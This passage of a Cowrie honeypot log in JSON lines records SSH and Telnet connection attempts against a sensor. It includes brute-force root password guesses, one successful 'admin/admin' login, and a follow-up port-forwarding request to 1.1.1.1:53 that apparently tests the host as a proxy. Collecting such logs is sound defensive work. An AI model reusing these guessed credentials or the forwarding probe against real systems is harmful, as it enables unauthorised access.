{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:02:28:e3:80:7f:44:3b:42:f0:0a:13:e9:57:2b:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdwnjtv3uZKlubAlZDvrUJ5Ti29gUx7Uwh5oQme4b176LOPZbrjgYUFecUzvBoOdYgLfJNO0QlYfitrk7qwUf4BvztKX9JdaiGS62W80HzYTa/82F0XgdrJ24OFfFTPDN4KStfP74XkF/JYK4jYYtc2f7zwDR+cvhIcEM2S7RJwZyswIV2Mxhjz2kH57IPtB+/md7tuF80OG3uft31+3V7OZLRrxfxJODid1G0TVBDb8RYrmNoaOcgU7gc60jvjcrlsnIXJL+XHT660meWLj417PG4Tyk1B8I0YbOxN2kdFK+L5DU6CHrYcbSpftgLUnTy7aRIYw4oppgU4YoU+oBr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.494166Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:7a:d4:d3:96:b4:83:6c:d5:4e:30:15:a6:d8:aa:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy1BYXc7xY+G0xj3IRKhTXgcPy544nNUSND5YjzDFR0YwskLoDfspa+6U3w4QrqZUUK2OmK8DCr4BC3jc0a1uwkflTAgR6azc6YD7/pVDXGlBUSnGt60SyAQaw5yZBqWRYqQ6dAqTRnJ1Kwe4ECZ5Hn7AfgUDO0lPn+QG+l7kltkvpz6TqKolDwGkg4XWUcnqCWIMFPNOclrosrnoKn/bSQAJU4dXP4HJRzel7noUMaZ9G1Ny4cakbR0M3ZxnfpESbkR1NrLYEoDGEb/coKNuyf83HR4tBKeo4KwvP9+VY/evhpTPIs8q5fVKz7ZzZvcelR3LaOjZ8nWPL4fCENlPX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:7a:d4:d3:96:b4:83:6c:d5:4e:30:15:a6:d8:aa:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.628768Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:7a:d4:d3:96:b4:83:6c:d5:4e:30:15:a6:d8:aa:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy1BYXc7xY+G0xj3IRKhTXgcPy544nNUSND5YjzDFR0YwskLoDfspa+6U3w4QrqZUUK2OmK8DCr4BC3jc0a1uwkflTAgR6azc6YD7/pVDXGlBUSnGt60SyAQaw5yZBqWRYqQ6dAqTRnJ1Kwe4ECZ5Hn7AfgUDO0lPn+QG+l7kltkvpz6TqKolDwGkg4XWUcnqCWIMFPNOclrosrnoKn/bSQAJU4dXP4HJRzel7noUMaZ9G1Ny4cakbR0M3ZxnfpESbkR1NrLYEoDGEb/coKNuyf83HR4tBKeo4KwvP9+VY/evhpTPIs8q5fVKz7ZzZvcelR3LaOjZ8nWPL4fCENlPX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.633172Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:25.765707Z","src_ip":"89.37.117.71","session":"2b70623b67cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":56168,"dst_ip":"10.17.0.5","dst_port":22,"session":"1badd0a141f9","protocol":"ssh","message":"New connection: 103.149.28.157:56168 (10.17.0.5:22) [session: 1badd0a141f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:28.422386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:28.427514Z","src_ip":"103.149.28.157","session":"1badd0a141f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:28.672664Z","src_ip":"103.149.28.157","session":"1badd0a141f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdzxc123","message":"login attempt [root/asdzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:29.412129Z","src_ip":"103.149.28.157","session":"1badd0a141f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:30.663998Z","src_ip":"103.149.28.157","session":"1badd0a141f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.910757064819336,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:33.687491Z","src_ip":"152.42.224.71","session":"1dceb05420d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49606,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fe54d403ac7","protocol":"telnet","message":"New connection: 152.42.224.71:49606 (10.17.0.5:23) [session: 6fe54d403ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:37.318633Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49594,"dst_ip":"10.17.0.5","dst_port":23,"session":"14c52424afd9","protocol":"telnet","message":"New connection: 152.42.224.71:49594 (10.17.0.5:23) [session: 14c52424afd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:37.329957Z"}
{"eventid":"cowrie.session.closed","duration":47.4941291809082,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:24:47.197162Z","src_ip":"152.42.224.71","session":"9e3d349fa684","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.709011554718018,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:07.038835Z","src_ip":"152.42.224.71","session":"14c52424afd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49454,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c1bf33df801","protocol":"ssh","message":"New connection: 37.233.85.71:49454 (159.203.135.109:22) [session: 0c1bf33df801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:22.812568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:22.817194Z","src_ip":"37.233.85.71","session":"0c1bf33df801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:22.957559Z","src_ip":"37.233.85.71","session":"0c1bf33df801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex777","message":"login attempt [root/alex777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:23.287743Z","src_ip":"37.233.85.71","session":"0c1bf33df801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:24.400214Z","src_ip":"37.233.85.71","session":"0c1bf33df801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.39947843551636,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:34.717986Z","src_ip":"152.42.224.71","session":"6fe54d403ac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40868,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a3a4eae6ee3","protocol":"telnet","message":"New connection: 152.42.224.71:40868 (10.17.0.5:23) [session: 1a3a4eae6ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:35.594080Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":50980,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa1cfc1abf52","protocol":"ssh","message":"New connection: 109.237.96.109:50980 (10.17.0.5:22) [session: fa1cfc1abf52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:58.015213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:58.020661Z","src_ip":"109.237.96.109","session":"fa1cfc1abf52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:58.112303Z","src_ip":"109.237.96.109","session":"fa1cfc1abf52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trustno1","message":"login attempt [root/trustno1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:58.540802Z","src_ip":"109.237.96.109","session":"fa1cfc1abf52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:25:59.633666Z","src_ip":"109.237.96.109","session":"fa1cfc1abf52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39334,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dcd5d64028d","protocol":"telnet","message":"New connection: 152.42.224.71:39334 (10.17.0.5:23) [session: 0dcd5d64028d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:26:04.086125Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56414,"dst_ip":"10.17.0.5","dst_port":23,"session":"6addd6dcae4b","protocol":"telnet","message":"New connection: 152.42.224.71:56414 (10.17.0.5:23) [session: 6addd6dcae4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:26:13.782757Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47636,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a5083e8b0b","protocol":"telnet","message":"New connection: 152.42.224.71:47636 (10.17.0.5:23) [session: 04a5083e8b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:26:50.321193Z"}
{"eventid":"cowrie.session.closed","duration":36.80087423324585,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:26:50.583531Z","src_ip":"152.42.224.71","session":"6addd6dcae4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47640,"dst_ip":"10.17.0.5","dst_port":23,"session":"8003bdc80093","protocol":"telnet","message":"New connection: 152.42.224.71:47640 (10.17.0.5:23) [session: 8003bdc80093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:26:56.110159Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44632,"dst_ip":"10.17.0.5","dst_port":22,"session":"890ceadd1664","protocol":"ssh","message":"New connection: 87.251.64.176:44632 (10.17.0.5:22) [session: 890ceadd1664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:03.096250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:03.102571Z","src_ip":"87.251.64.176","session":"890ceadd1664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:03.201341Z","src_ip":"87.251.64.176","session":"890ceadd1664","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:03.492916Z","src_ip":"87.251.64.176","session":"890ceadd1664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:03.593218Z","session":"890ceadd1664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:03.692475Z","src_ip":"87.251.64.176","session":"890ceadd1664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:03.796654Z","src_ip":"87.251.64.176","session":"890ceadd1664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37810,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7466e5b4055","protocol":"ssh","message":"New connection: 103.153.68.219:37810 (159.203.135.109:22) [session: a7466e5b4055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:22.983009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:22.992128Z","src_ip":"103.153.68.219","session":"a7466e5b4055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:23.231792Z","src_ip":"103.153.68.219","session":"a7466e5b4055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinka","message":"login attempt [root/alinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:23.953366Z","src_ip":"103.153.68.219","session":"a7466e5b4055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:25.197463Z","src_ip":"103.153.68.219","session":"a7466e5b4055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47740,"dst_ip":"10.17.0.5","dst_port":23,"session":"85fbf38ed9e6","protocol":"telnet","message":"New connection: 152.42.224.71:47740 (10.17.0.5:23) [session: 85fbf38ed9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:25.983372Z"}
{"eventid":"cowrie.session.closed","duration":112.54921841621399,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:28.143205Z","src_ip":"152.42.224.71","session":"1a3a4eae6ee3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":44350,"dst_ip":"10.17.0.5","dst_port":22,"session":"40efc5947ae5","protocol":"ssh","message":"New connection: 62.133.63.178:44350 (10.17.0.5:22) [session: 40efc5947ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:33.264951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:33.270563Z","src_ip":"62.133.63.178","session":"40efc5947ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlg